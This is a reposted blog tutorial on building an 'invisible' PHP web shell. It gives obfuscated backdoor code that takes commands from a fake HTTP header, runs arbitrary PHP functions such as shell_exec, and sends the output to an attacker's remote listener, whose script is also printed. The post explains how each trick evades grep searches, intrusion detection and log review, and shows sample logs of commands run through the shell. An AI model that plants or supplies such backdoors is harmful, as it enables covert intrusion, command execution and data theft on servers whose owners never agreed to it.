NB:THIS INFO WAS SOURCED FROM ANOTHER SITE
Creating A Truley Invisible PHP Shell
EDIT: Never had a post with so much split between loving/hating it. I’m enjoying all the constructive criticism though so I guess it’s a win/win either way.A while ago, after discovering that a popular hacking site was hosting backdoor scripts that were themselves backdoored, I began to think about how someone would backdoor some PHP code in the most stealthy way.
However, before attempting to create an invisible PHP shell I first had to define what that looks like.
Requirements
- Lightweight – The code should be tiny and unnoticeable, not more than a few lines. Else it risks being found by somebody looking over source code.
- Discrete Code – This shell should not utilize any sort of ‘obvious’ functions that would be found by simply grepping for them.
- IDS Resistant – No IDS should pick up the shell in use, network traffic shouldn’t throw any alarms.
- Consistent Logs – We obviously don’t want to introduce anything odd into the logs to alert anyone.
- Universally Compatible – No functions should be used that wouldn’t work on 99% of PHP installs.
A First Attempt
My first attempt came after reading multiple articles on the topic. If nothing else I learned a lot of cool PHP tricks that I didn’t know before (and about being stealthy with your shells!)Here are some of the articles I read, along with a short description of each:
http://www.justanotherhacker.com/2011/12/writing-a-stealth-web-shell.html – .htaccess shell that not only has IDS evasion baked in but is also invisible in Apache logs. I love this post and have come back to it many times.
http://stackoverflow.com/questions/3115559/exploitable-php-functions – A stackoverflow question about exploitable PHP functions, revealing the truth that it’s nearly impossible to simply block or grep a PHP shell.
http://seclists.org/bugtraq/2001/Jul/att-26/studyinscarlet.txt – Good paper on PHP vulnerabilities, which is perfect if you were going to simply introduce a vulnerability in code you’d rather exploit.
After reading those links and lots of PHP documentation I created my attempt:
@c();
function c(){try{if(isset($_SERVER['HTTP_LENGTH'])){set_time_limit(0);$c=explode("\x15",base64_decode(substr($_SERVER['HTTP_LENGTH'],2)));file_get_contents( $c[2]."qu".urlencode( base64_encode(gzcompress($c[0]($c[1]),9))));}}catch(Exception $e){}
Woah, that’s hard to read! Here’s the same code formatted for less eye-bleeding:
@c();
function c(){
try{
if(isset($_SERVER['HTTP_LENGTH'])) {
set_time_limit(0);
$c=explode("\x15",base64_decode(substr($_SERVER['HTTP_LENGTH'],2)));
file_get_contents( $c[2]."qu".urlencode(base64_encode(gzcompress($c[0]($c[1]),9))));
}
}catch(Exception $e){}
}
@c();
In PHP the ‘@’ symbol will silence any errors/warnings that occur while executing the function. In case things don’t go as expected during run-time!
function() {
[CODE]
}
set_time_limit(0);
This sets the time limit to be infinite on run time so the script will not timeout during our operations. Optional but importantly if you’ll be attempting a long operation with the shell.
$c=explode("\x15",[STRING]);
This function creates an array by splitting a string by a set delimiter. The string is being split by the non-printable ASCII character “NAK” character. This is also advantageous because it’s not a character we’d ever send in a command.
base64_decode([BASE64_STRING]);
substr([STRING], 2);
Remove the first two characters of a string, this is to throw off IDS trying to decode the Base64 string. Any attempts to decode the encoded string will fail due to two random characters being added to the front of the input.
$_SERVER['HTTP_LENGTH'];
file_get_contents( $c[2]."qu".urlencode(base64_encode(gzcompress($c[0]($c[1]),9))));
This is how we send the response back to our server, the $c[2] array element contains our remote PHP listener that we will send the response to. For example, this variable may contain “http://example.com/listener.php?r=”. We also URL encode the sent base64 string because it may contain equal characters which have special meaning in URLs.
gzcompress($c[0]($c[1]),9)
$c[0]($c[1])
Say I wanted to call shell_exec, I could do something like this:
shell_exec("ls");
$function = "shell_exec";
$arg = "ls";
$function($arg);
The two pieces of code do the same thing, you can have variables creating and running any function you wish.
Like I said, weird language
I’d also like to note that you can execute code like so:
`ls`
I decided against this as I also wanted the ability to call PHP functions like phpinfo(); if I desired. Which could be useful in a pinch or to gain some quick information about the environment you’re dealing with.
try{
[CODE]
}catch(Exception $e){}
ust to be paranoid we nest the entire thing in a try/catch statement to stop any fatal errors from occurring. No change of filling up the error log this way, with gives it points in the “Consistent Logs” category.
So what about that listener?
<?php
if( isset($_GET['r']) ) {
$response = gzuncompress( base64_decode( substr( $_GET['r'], 2 ) ) );
file_put_contents( "response.txt", $response );
}
?>
The listener is very simple, it gets the value of $_GET['r'] and deobfuscates, decodes, and writes the response to “response.txt”.
So we have our remote shell, our listener, but now we need the final script to tie it all together.
RAGE –The Shell Controller
The shell works in the following way:
- A GET request is preformed to the backdoored PHP page on the remote server
- The backdoored page then preforms it’s own GET request to the hacker’s server with the command output
- Rinse, repeat
127.0.0.1 - - [01/Apr/2014:12:14:52 -0700] "GET /php/ HTTP/1.1" 200 5355 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36" # ls
127.0.0.1 - - [01/Apr/2014:12:15:35 -0700] "GET /php/ HTTP/1.1" 200 5355 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36" # whoami
127.0.0.1 - - [01/Apr/2014:12:50:19 -0700] "GET /php/ HTTP/1.1" 200 2711 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:27.0) Gecko/20100101 Firefox/27.0"
The first request was an “ls” command and the second was a “whoami” command – note the size for both is 5355 and is consistent. The final request is a regular GET request from my Firefox web browser for comparison. So while the shell request is bigger than other requests it could (hopefully) be ruled out as an odd browser/web crawler with a large request header. Sadly because it’s not completely unnoticeable we lose points in the stealth category for this one. Outgoing connections could also be detected but since they only occur for a few seconds they shouldn’t be too noticeable.
How did we do?
- Lightweight - The code is fairly lightweight and compact at only a few lines
- Discrete Code - The code uses no obvious/grep-able functions so it should be fairly discrete
- IDS Resistant - Most IDS wouldn’t be able to decode the traffic due to it being botched up Base64 encoding so I’d consider this fulfilled. The only issue being the outgoing GET requests to our control server that could give us away.
- Consistent Logs - Logs are fairly consistent, the request sizes are always the same regardless of command but are sadly larger that normal.
- Universally Compatible - This shell is very compatible since it allows virtually any PHP function to be used in case of a function blacklist.
Stick around and get the full source code.
No comments:
Post a Comment